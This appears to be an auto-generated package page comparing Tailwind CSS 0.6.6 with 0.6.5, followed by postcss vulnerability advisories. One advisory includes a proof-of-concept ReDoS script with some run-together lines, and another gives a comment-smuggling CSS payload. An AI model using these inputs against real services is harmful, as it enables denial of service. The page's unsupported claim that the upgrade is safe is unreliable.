Tailwind CSS version 0.6.6 is a minor update to the popular utility-first CSS framework, following closely on the heels of version 0.6.5. Both versions share the same core dependencies like lodash, postcss, fs-extra, and various PostCSS plugins, ensuring a consistent foundation for styling web projects. Developer tools remain consistent too, with jest, eslint, prettier and autoprefixer powering the development workflow in both versions. Crucially, the developer experience using the core utilities and composing styles doesn't significantly change between these releases, offering a stable platform for ongoing projects.
The key difference lies in the updated release date and potentially subtle internal changes reflected in the dist metadata. Version 0.6.6 was released on September 21, 2018, while version 0.6.5 was released on August 14, 2018. Furthermore, unpacked size shows minimal differences between version, where version 0.6.6 has an unpacked size of 2039160 and version 0.6.5 has 2039231. These minor shifts often indicate bug fixes, performance tweaks, or refinements to the framework's underlying code. For developers, upgrading from 0.6.5 to 0.6.6 is likely a safe and recommended practice, as it incorporates the latest improvements without introducing breaking changes. While the changelog would provide definitive details, the shared dependency list suggests a seamless transition focused on stability and minor enhancements for building custom user interfaces rapidly.
All the vulnerabilities related to the version 0.6.6 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.